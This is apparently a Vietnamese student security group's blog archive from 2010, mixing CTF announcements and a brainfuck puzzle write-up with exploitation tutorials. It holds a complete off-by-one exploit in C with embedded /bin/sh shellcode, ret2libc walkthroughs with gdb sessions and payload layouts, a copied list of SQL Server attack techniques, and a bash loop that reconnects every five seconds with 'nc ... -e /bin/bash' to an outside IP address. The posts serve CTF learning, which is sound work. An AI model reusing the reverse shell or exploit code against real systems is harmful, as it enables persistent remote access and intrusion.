Thứ Sáu, 3 tháng 12, 2010

iCTF 2010 @ 10 PM tối nay ( 3/12/2010)

The 2010 iCTF intro

Dịch lại từ : https://lists.cs.ucsb.edu/pipermail/ctf-participants/20101202/000171.html
Các nước Litya đã trở thành một trung tâm chính cho các hoạt động bất hợp pháp của tất cả các loại. Đất nước được cai trị bởi độc tài tàn nhẫn Lisvoy Bironulesk, người đã đi tiên phong trong việc sử dụng các phần mềm độc hại làm cơ sở hạ tầng lớn để hỗ trợ cho nền kinh tế Litya. Gần đây, ông đã tuyên bố rằng Litya có "một botnet trong mỗi quốc gia".

Sự coi thường luật pháp quốc tế , tham gia vào gian lận và lừa đảo ngân hàng cùng với những cô gái đang tuổi vị thành niên của ông ta cuối cùng đã lọt vào tầm mắt của cộng đồng quốc tế.

Bây giờ, các quốc gia bị ảnh hưởng đã quyết định tấn công trở lại. Các điệp viên những người đã thâm nhập vào chính quyền tham nhũng của Litya đã nắm được kế hoạch của hầu hết các nhiệm vụ quan trọng của Litya. Các kế hoạch này xuất hiện để mô tả các hoạt động khác nhau của mỗi nhiệm vụ, thứ tự và thời gian, sự phụ thuộc vào các dịch vụ cụ thể.

Cách duy nhất để mang lại cơ sở hạ tầng của Litya xuống là để thỏa hiệp các dịch vụ gắn với hoạt động hiện đang được thực hiện. Điều này sẽ gây ra sự chậm trễ trong các nhiệm vụ tương ứng, và cuối cùng sẽ phá huỷ đất nước này.

Tuy nhiên, Litya không phải là một con vịt chỉ biết ngồi. Litya có hệ thống phát hiện xâm nhập tinh vi, các công cụ nhận thức tình hình, và các cơ chế quốc phòng thúc đẩy bởi một cỗ máy tinh vi quyết định trò chơi dựa trên lý thuyết. Vì vậy, hãy cẩn thận!

Đội CỦA BẠN:

Nhóm của bạn đại diện cho một trong những quốc gia tham gia vào cuộc đình công này phối đối với cơ sở hạ tầng của Litya. Mục tiêu của bạn là điểm số điểm nhiều nhất có thể.
Một nhóm các điểm số điểm bất cứ khi nào nó thỏa hiệp một dịch vụ có liên quan một nhiệm vụ hoạt động. Nó được lập cho mỗi nhóm để tìm ra nhiệm vụ hiện nay hoạt động. Tuy nhiên, điệp viên trong chính phủ của Litya đang bị rò rỉ cho công chúng nhỏ những thông tin mà có thể là vô giá trong xây dựng lại hiện tại tình hình hoạt động của Litya.
http://lityaleaks. Để chứng minh rằng một dịch vụ đã được bị xâm nhập tại một điểm nhất định trong thời gian, đội đã đánh cắp một lá cờ đó là kết hợp với dịch vụ và được cập nhật định kỳ. Các cờ bị đánh cắp phải được nộp cho http://flagsubmission:8080 (cờ hết hạn sẽ được bỏ qua).

Lưu ý rằng các cuộc tấn công chống lại các dịch vụ liên kết với các dịch vụ không hoạt động sẽ không cung cấp cho bạn bất cứ điểm và, thay vào đó, sẽ xử phạt bạn.

Nhóm của bạn cũng có thể giải quyết những thách thức bên cho tiền (không phải điểm!). Các những thách thức có sẵn tại http://challenge_board. Số tiền này sau đó có thể được sử dụng để hối lộ các quản trị viên của Litya để nâng cao các bộ lọc IP mà có thể ngăn chặn được tạm thời tại chỗ do các cuộc tấn công phát hiện hoặc biện pháp đối phó khác (xem dưới đây). Các hối lộ có thể được thực hiện bằng cách sử dụng giao diện này: http://bribe:8082.

May mắn thay, các điệp viên được triển khai trong quản lý của Litya đã bị rò rỉ công cụ (Snort) và các quy tắc sử dụng để phát hiện các cuộc tấn công (cả hai đều có sẵn trên VMware hình ảnh cho bạn). Do đó, bạn có cơ hội để thử nghiệm exploit của bạn khả năng trong mạng lưới của riêng bạn.

Vào ngày của cuộc thi (hoặc hơi trước), bạn sẽ được cung cấp khác VMware hình ảnh đại diện cho botnet rằng Litya đã được cài đặt trong của bạn quốc gia. Nếu Litya của botmaster đã không nhận được kết nối từ các hương trình trong của bạn botnet, ông sẽ chặn truy cập của bạn vào mạng Litya, vì bạn không phải là nguồn gốc của thu nhập nữa. Điều này sẽ ngăn cản bạn tham gia trò chơi. Tuy nhiên, nếu các chương trình có thể kết nối với botmaster Litya, họ sẽ từ từ ăn cắp tiền từ tài khoản ngân hàng của bạn và gửi cho Litya. Một khi tiền của bạn chạy ra ngoài, bạn sẽ được chặn (và sẽ bị loại khỏi cuộc chơi). Tất nhiên bạn
có thể bổ sung tiền của bạn bằng cách giải quyết những thách thức.

Tóm lại:

1) Tìm ra những hoạt động Litya hiện hành và những dịch vụ có liên quan với họ.

2) Xây dựng khai thác dịch vụ càng nhiều càng tốt và tấn công các dịch vụ khi một hoạt động có sử dụng chúng đang được thực hiện.

3) Giải quyết những thách thức bên và sử dụng tiền để nuôi botnet và hối lộ của bạn các quản trị viên tường lửa để bảo vệ nâng tường lửa mà có thể được trong nơi.

Bất cứ lúc nào tình trạng của bạn sẽ có sẵn cho bạn tại http://scoreboard. máy chủ DNS của bạn sẽ được 10.13.0.1 ...

Thưởng thức!

Giovanni "Zanardi" Vigna

Thứ Hai, 1 tháng 11, 2010

iSec CTF 2010 PreQual

links

Start on Nov 3 2010


Introduction
  • Title : ISEC 2010 CTF ‘Wireless Internet & Smartphone Hacking Competition
  • Host : Ministry of Public Administration and Security
  • Management Organization : Shiftworks, Wowhacker, Boannews
  • Venue : Grand Ballroom & # 201 Assem Hall, Seoul COEX
  • Time & Date :
    • - Preliminary Match - Nov. 3th 11:00 PM ~ Nov. 5th 11:00 PM, 2010 (Online)
    • Final Match
    • - Nov. 29th 09:00 AM ~ Nov. 30th 09:00, 2010 (#201 Assem Hall) Award Ceremony
    • - Nov. 30th 5:30 PM, 2010 (Grand Ballroom)
  • Registration Method: http://isec2010.wowhacker.com
  • Registration Period : Oct. 20th ~ Nov. 3th, 2010 (Right before starting the match)
Purpose
It is time to need a national countermeasure system against gradually increasing cyber threats. However we are now facing lack of skilled professionals who can see through and defend cyber attacks.

It aims at providing a place for hacking researchers to prove their skills that can effectively defend recently more sophisticated cyber attacks and to promote research activities.

Especially, ISEC 2010 CTF is arranged as 'Wireless Internet & Smartphone Hacking Competition' to prepare cyber attacks exploiting vulnerabilities of wireless internet and smartphone, which are a hot issue nowadays.

ISEC 2010 CTF will be the best hacking competition in the nation, which verifies the defending skills against cyber attacks that any security personnels must know in the coming 'smart work' era.
Match Method
  • Preliminary Match : Questions will be given progressively.
  • Final Match(CTF) : Ranks will be given by accumulated point through hacking and defense among participating teams(Maximum 8 persons).
  • Qualification : Anyone who are interested in hacking and security (in and outside the country)
  • Anticipated Scale : Approximately 300~400 domestic and overseas teams
Award Description
  • Total Award: 10,000,000 Won 1ST Winner
  • - Minister of Public Administration and Security's Award & 10,000,000 Won 2nd Winner
  • - Minister of Public Administration and Security's Award & Netbook Computers
Features
ISEC 2010 CTF will take place in the same type of well-known CTF that is held all over the world and will test hacking and defending skills equally.
Questions will be given focusing on wireless internet environment and smartphone use facing the coming 'smart work' era.
Shiftworks, the best hacking competition management organization, and Wowhacker team, the largest hacking and security research group will supervise the whole competition

Thứ Sáu, 29 tháng 10, 2010

End Of Hack.lu CTF !


Final results:



Docs : ( with Writeup Collection !)

Links

Thứ Hai, 25 tháng 10, 2010

<> Next CTF <>

  1. Hack.lu CTF
The important dates:

- Start of the CTF: 27th October, around 11:00 (CEST)
- End of the CTF: 29th October, around 11:00 (CEST)
http://2010.hack.lu/index.php/CaptureTheFlag

2.ISEC CTF
Time to have some fun with the last interesting CTF of 2010.

- Time & Date :
Preliminary Match - Nov. 3th 11:00 PM ~ Nov. 5th 11:00 PM (GMT+8), 2010 (Online)

Chủ Nhật, 24 tháng 10, 2010

Bkitsec Meeting #1

Như đã nói trong post trước ở đây tuần này chúng ta sẽ bắt đầu buổi meeting đầu tiên. Thời gian dự kiến là 20h00 thứ 6(29/10/).
Topic dự kiến:

  1. Classical crypto attack ( TBA ) - Cr4zyb0y
  2. Basic Windows exploitation (TBA) - CaoNguyen
  3. Bắt đầu với ngành bảo mật thông tin như thế nào : đây là một chủ đề mở để mọi người có thể thảo luận và đưa ra những ý kiến cá nhân, tổng hợp ý kíen từ những bậc đàn anh ( xichzo, rd ....) cũng như của đàn em ( suto, cr4zyb0y, caonguyen , ....) :D sẽ giúp bkitsec có một tầm nhìn tốt hơn về những gì đã đang và sẽ làm trong thời gian tiếp theo và tương lai dài sau này.
Mọi người cho comment về thời gian và topic nhe :D

Thứ Sáu, 22 tháng 10, 2010

New Activity !

Như vậy đã qua 1 giai đoạn dài bkitsec không có hoạt động offline nào nổi trội, trọng tâm của nhóm dành cho các cuộc thi ctf online và trên kênh chat online IRC của nhóm.
Có lẽ chúng ta nên bắt đầu một giai đoạn mới và áp dụng những phương pháp mới cho việc học tập nghiên cứu của nhóm :). Vì thế mình nghĩ chúng ta sẽ gặp nhau hàng tuần, có thể online hoặc offline, thông qua dimdim ( hôm trc xài chung với xichzo và crazyboy thấy rất tuyệt) để present và demo online. đồng thời sử dụng skype để talk và irc vẫn là kênh online thuần túy.
Hàng tuần chúng ta sẽ chia nhau present về 1 topic nào đó đồng thời sẽ điểm qua 1 số tin tức và tình hình cập nhật về security trong tuần đó. Đưa ra những nhận định đánh giá đồng thời gợi ra 1 số hướng nghiên cứu tìm hiểu, giải quyết các khúc mắc khó khăn cho thành viên trong nhóm.
Chúng ta sẽ bắt đầu việc này từ ngay tuần sau :D Mọi người comment ý kiến nhé :D

Chủ Nhật, 12 tháng 9, 2010

leetmore CTF 2010 write up : Wrapp It !

Bài này 200pts, nhìn chung là dễ. Chỉ cần  biết về brainfuck programming và bình tĩnh chút là xong ngay.


Đề bài như sau :

<[-]>>,[[-]<->]<[<->-]<[>-<+]>>[<+>-]+>[<<-<+>>>-]<<<[>>>+<<<-]<[>-<[-]]>>>-<<>-[<->-]<[>+<-]>.


đề bài cho mình một đoạn code viết bằng mã brainfuck, và yêu cầu là phải rút gọn đoạn code đó về độ dài không được lớn hơn 12 kí tự. lòng vòng hỏi ban tổ chức thì được biết là sẽ chỉ test kết quả cuối cùng, được in ra thôi, còn các giá trị ở các cell . nhận được đề này là vào tầm khoản 12h đêm, nên đầu óc không minh mẫn lắm. lần đầu là mình lao vào giải trên giấy, nhưng thấy không khả quan lắm nên tìm một cái brainfuck interpreter để dịch vậy. Tìm được cái này, khá tốt . Sau một hồi thử các giá trị thì kết quả xuất ra cuối cùng như sau :

input #0 --> output = 1
input = 1 ---> output = 0

Và đây là đoạn mã brainfuck thỏa mãn đề bài : ,[[-]>-<]>+.

 trên là mã của mình, còn một số đọan mã khác vẫn được BTC chấp nhận .

Thứ Hai, 5 tháng 7, 2010

Off by one - overwrite ebp with one byte .

Trong các tình huống tràn bộ đệm khác nhau, nhiều trường hợp, chỉ có thể ghi đè được 1 byte duy nhất ra ngoài vùng được phép - ghi đè 1 byte lên thanh ghi ebp. Bài viết này sẽ trình bày một số điểm khái quát trong quá trình tận dụng lỗi này .


Trước hết, một source code của chương trình bị lỗi như sau :


#include <stdio.h>

func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}

func(argv[1]);
}


Để khai thác được lỗi này, thì phải compile chương trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :


crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone


Hàm func() của chương trình trên đã bị lỗi ở đoạn


for(i=0;i<=256;i++)
buffer[i]=sm[i];


Thay vì chép 256 bytes, thì nó đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị ghi đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè như sau :


saved_eip
saved_ebp (bị ghi đè 1 byte)
AAAAAAAAA \
AAAAAAAAA | char buffer
AAAAAAAAA /
int i


Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn việc $ebp bị ghi đè như thế nào :


(gdb) disass func

Dump of assembler code for function func:

0x080483d4 : push %ebp
0x080483d5 : mov %esp,%ebp
0x080483d7 : sub $0x104,%esp
0x080483dd : movl $0x0,0xfffffefc(%ebp)
0x080483e7 : cmpl $0x100,0xfffffefc(%ebp)
0x080483f1 : jg 0x8048418
0x080483f3 : lea 0xffffff00(%ebp),%eax
0x080483f9 : mov %eax,%edx
0x080483fb : add 0xfffffefc(%ebp),%edx
0x08048401 : mov 0xfffffefc(%ebp),%eax
0x08048407 : add 0x8(%ebp),%eax
0x0804840a : mov (%eax),%al
0x0804840c : mov %al,(%edx)
0x0804840e : lea 0xfffffefc(%ebp),%eax
0x08048414 : incl (%eax)
0x08048416 : jmp 0x80483e7
0x08048418 : leave
0x08048419 : ret
End of assembler dump.

(gdb) disass main

Dump of assembler code for function main:

0x0804841a : push %ebp
0x0804841b : mov %esp,%ebp
0x0804841d : cmpl $0x1,0x8(%ebp)
0x08048421 : jg 0x8048437
0x08048423 : push $0x8048554
0x08048428 : call 0x80482d8
0x0804842d : add $0x4,%esp
0x08048430 : push $0xffffffff
0x08048432 : call 0x80482e8
0x08048437 : mov 0xc(%ebp),%eax
0x0804843a : add $0x4,%eax
0x0804843d : pushl (%eax)
0x0804843f : call 0x80483d4
0x08048444 : add $0x4,%esp
0x08048447 : leave
0x08048448 : ret
End of assembler dump.
(gdb)
Continuing.
Breakpoint 8, 0x08048447 in main ()
(gdb) i r ebp
ebp 0xbffff441 0xbffff441
(gdb)


Như vậy, $ebp đã bị ghi đè đúng 1 byte.


Giá trị của $esp đã được điều khiển tùy ý trong khoản 0x0 đến 0xff . Dữ liệu vào sẽ được bố trí như sau :


[NOP][shellcode][&NOP][1 byte X ghi đè lên ebp]


Giá trị của X = [byte thấp của &NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :


(gdb) b* 0x080483dd

Breakpoint 6 at 0x80483dd

(gdb) b* 0x08048418

Breakpoint 7 at 0x8048418

(gdb) r `python -c 'print "A"*257'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/offone/offone `python -c 'print "A"*257'`


Breakpoint 6, 0x080483dd in func ()

(gdb) x/2x $esp

0xbffff328: 0xb7fcf000 0xbffff380

(gdb) c

Continuing.


Breakpoint 7, 0x08048418 in func ()

(gdb) x/2x $esp

0xbffff328: 0x00000101 0x41414141

(gdb)

Như vậy, địa chỉ ret về sẽ là 0xbffff32c .


Chương trình khai thác như sau :


#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";

main()
{
int i, j;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=(248-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x2c; /*
buffer[i++] = 0xf3; * Địa chỉ của bufer sẽ đươc pop $ebp
buffer[i++] = 0xff; *
buffer[i++] = 0xbf; */
buffer[i++] = 0x2c; /*
buffer[i++] = 0xf3; * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.
buffer[i++] = 0xff; * phần này sẽ được dùng để ret .
buffer[i++] = 0xbf; */
buffer[i++] = 0x24; // 0xbfff428 là địa chỉ của &NOP.
execl("./offone", "offone", buffer, NULL);
}



Một số chi tiết về mã asm, địa chỉ sẽ khác nhau tùy máy, tùy hệ điều hành và các phiên bản khác nhau của compiler.


Bài viết có tham khảo từ : http://www.phrack.org/issues.html?id=8&issue=55

@crazyboy

Thứ Sáu, 26 tháng 3, 2010

Damn vulnerable Web

http://sourceforge.net/projects/dvwa/

Thứ Năm, 25 tháng 3, 2010

JRE - Firefox 3.6 - Gentoo Notes

cd /usr/lib/mozilla-firefox/plugins
sudo ln -s /usr/lib/jvm/sun-jdk-1.6/jre/lib/i386/libnpjp2.so

Chủ Nhật, 21 tháng 3, 2010

http://paste2.org/p/727508

http://paste2.org/p/727508

Thứ Sáu, 19 tháng 3, 2010

Shell connect back :)

Lam o fong lab ko the ket noi toi no nen minh viet cai shell cho no tu dong ket noi sau 5 s , lo co loi ket noi no se ket noi lai :D
#!/bin/bash -x
while [ 1 ]
do
nc -v 113.22.209.120 1234 -e /bin/bash
sleep 5
done

[Leech] 10 ki thuat tan cong vao sql server

Whether through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.

1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.

2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.


Figure 1: Common SQL injection vulnerabilities found using WebInspect.




3. Enumerating the SQL Server Resolution Service

Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.

4. Cracking SA passwords

Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.

5. Direct-exploit attacks

Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.



Figure 2: SQL Server vulnerability exploitable using Metasploit's MSFConsole.


6. SQL injection

SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector, shown in Figure 3.


Figure 3: SPI Dynamics' SQL Injector tool automates the SQL injection process.



7. Blind SQL injection

These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.


Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.



8. Reverse engineering the system

The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.

9. Google hacks

Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.

10. Perusing Web site source code

Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.

Thứ Tư, 17 tháng 3, 2010

Ret2libc ( tiep theo)

Trong bai truoc chung ta da co the invoke dc shell trong GDB bang cach set cac gia tri tai nhung diem ma chung ta co the dieu khien dc. Tuy nhien phuong phap do se rat kho thanh cong boi vi rat kho xac dinh chinh xac dia chi cua /bin/sh de hardcode vao ( co the brute force ) cho nen chung ta se chuyen sang mot cach khac thiet thuc hon.

#include
#include
/*
*
* Chuong trinh nay de xac dinh cach dua thong so vao ham execl
* Ngay truoc khi call execl, stack se chia dia chi cua chuoi "/bin/sh"
*/
int main()
{
execl("/bin/sh","aaaaaaa",0);
}






suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ gcc CallExecl.c -o CallExecl3
CallExecl.c: In function 'main':
CallExecl.c:10: warning: incompatible implicit declaration of built-in function 'execl'
CallExecl.c:10: warning: missing sentinel in function call
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ ./CallExecl3
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ exit
exit
suto@home ~/Learning/Expoit Writer/BufferOverFlow/Ret2libc $ cat|./CallExecl3
id
uid=1000(suto) gid=1004(suto) groups=10(wheel),18(audio),27(video),100(users),1004(suto),1007(vboxusers)
^C



Boi vi viec tim ra dia chi chinh xac cua "/bin/sh" la kha kho cho nen chung ta can 1 cach nao do de lay chinh xac dia chi nay!
Thong thuong se co mot con tro to toi dau cua buffer . Trong bai harder nay co 2 con tro nhu vay.

gdb$ x/20x $esp
0xbffff350: 0x0804b000 0x00000128 0x00000000 0x00000000
0xbffff360: 0x00004827 0x00000000 0xb7fcaffc 0xb7fcc840
0xbffff370: 0x0804b008 0xbffff3bc 0xb7f058ba 0xb7fcc840
0xbffff380: 0x0804b008 0x0000011e 0xb7fcf000 0x00000008



Va sau khi overflow :

Breakpoint 2, 0x08048509 in func ()
gdb$ x/20x $ebp

0xbffff488: 0x0000000a 0x0804b008 0x00000000 0xb8000ce0
gdb$ x/s 0x0804b008
0x804b008: "A"*260




Nhu vay chung ta thay rang sau khi overflow van con 1 con tro tro ve dau buffer. Voi thi nghiem luc ban dau chung ta co the thuc hien :
execl("/bin/sh",[something],[something]


Cau hoi la lam cach nao dua esp tro vao dung noi chua con tro nay, boi vi ngay sau luc tran no se tro ve dia chi ma chung ta ghi de!
TOm lai chung ta can esp tai thoi diem goi execl:

esp : something 0x0804b008 something something

Su dung phuong phap esp lifting se lam dc dieu nay.
Phuong phap nay thuc hien dua tren 2 lenh lien tuc la pop & ret . Pop se dich. esp lui len tren va ret se return ve gia tri. da dc pop ra .

Co nghia la stack se nhu the nay :

RET RET RET RET2Execl Something PTR

Lenh RET cuoi cung se dua chung ta vao` Execl dong` thoi dua esp tro toi :

ESP Something PTR

Tuc la thoa man yeu cau chung ta!

Chuoi pop ret thi rat quen thuoc! Do vay. chung ta se xay dung chuoi khai thac nhu sau :


[/bin/sh\x00][A*N][RET2popret*n][Execl]

Phan tiep theo chung ta se xay dung chuong trinh khai thac loi tran bo dem thong qua ret2execl

Thứ Ba, 16 tháng 3, 2010

Ret2Libc ( vi du Execl)

Truoc tien tim hieu chuong trinh goi execl se nhu hoat dong ra sao :


#include
#include
/*
*
* Chuong trinh nay de xac dinh cach dua thong so vao ham execl
* Ngay truoc khi call execl, stack se chia dia chi cua chuoi "/bin/sh"
*/
int main()
{
execl("/bin/sh","sh",NULL);
}



(gdb) b main
Breakpoint 1 at 0x80483f2
(gdb) r
Starting program: /home/suto/Learning/Expoit Writer/BufferOverFlow/Ret2libc/CallExecl

Breakpoint 1, 0x080483f2 in main ()
(gdb) p execl
$1 = {} 0xb7f1d330
(gdb)

Sau nay chuong trinh cua chung ta se return zo 0xb7f1d330 do vay chung ta se break tai day de xem xet stack tai thoi diem do ra sao, muc dich de chung ta bo tri stack ( thong qua buffer ) cua chung ta cho hop li de chuong trinh chay shell.

(gdb) b *0xb7f1d330
Breakpoint 2 at 0xb7f1d330
(gdb) c
Continuing.

Breakpoint 2, 0xb7f1d330 in execl () from /lib/libc.so.6
(gdb) x/4x $esp
0xbfffefdc: 0x08048411 0x080484e3 0x080484e0 0x00000000
(gdb) x/s 0x080484e3
0x80484e3: "/bin/sh"
(gdb) x/s 0x080484e0
0x80484e0: "sh"
(gdb)

0x08048411 -> 0x08048411 (main + 4)
Con 2 gia tri kia thi chac ro roi :D

Gio nhay vao ung dung thuc te Ret2Execl .


Starting program: /mnt/d/PreCtf/CodeGate/Exploit/harder_2010
Input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2ABBBBBBBBBBBB

Breakpoint 2, 0x08048501 in func ()
(gdb) c
Continuing.

Breakpoint 1, 0x08048509 in func ()
(gdb) x/4x $ebp
0xbffff008: 0x41386941 0x6a413969 0x316a4130 0x41326a41
(gdb) set *0xbffff00c=0xb7f1d330
(gdb) x/4x $ebp
0xbffff008: 0x41386941 0xb7f1d330 0x316a4130 0x41326a41
(gdb) x/4i $eip
0x8048509 : leave
0x804850a : ret
0x804850b
: push %ebp
0x804850c : mov %esp,%ebp
(gdb) stepi
0x0804850a in func ()
(gdb)
0xb7f1d330 in execl () from /lib/libc.so.6
(gdb) x/4x $esp
0xbffff010: 0x316a4130 0x41326a41 0x42424242 0x42424242
(gdb)

O day chung ta thay rang luc nay cac gia tri tren stack deu do chung ta dieu khien ( tu chuoi buffer ma ra ) do vay co the dung gdb de thay doi cac gia tri do cho no giong nhu la goi execl("/bin/sh","sh",0)

Ta co o day :
0xbffff3c0: "SHELL=/bin/bash"

(gdb) x/s 0xbffff3c6
0xbffff3c6: "/bin/bash"
(gdb) x/s 0xbffff3cd
0xbffff3cd: "sh"

(gdb) set *0xbffff018=0xbffff3cd
(gdb) x/4x $esp
0xbffff010: 0x316a4130 0xbffff3c6 0xbffff3cd 0x42424242
(gdb) set *0xbffff010=0x08048568
(gdb) set *0xbffff020=0
(gdb) x/4x $esp
0xbffff010: 0x08048568 0xbffff3c6 0xbffff3cd 0x42424242
(gdb) set *0xbffff01c=0
(gdb) x/4x $esp
0xbffff010: 0x08048568 0xbffff3c6 0xbffff3cd 0x00000000
(gdb) c
Continuing.
Executing new program: /bin/bash


Nhu vay chung ta hoan toan dieu khien dc qua trinh nay :)
Co the thuc thi chuong trinh nhu sau :

python -c "print 'a'*288+'\x00\x00\x00\x00'"|./harder_2010


Minh them \x00 vi neu nhu khong co no se tu dong them ki tu xuong dong vao cuoi chuoi trong khi chung ta can o cuoi la NULL,

Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
gdb$ x/20x $esp
0xbffff520: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff530: 0x00000000 0xb7fc000a 0x00000126 0x0804b008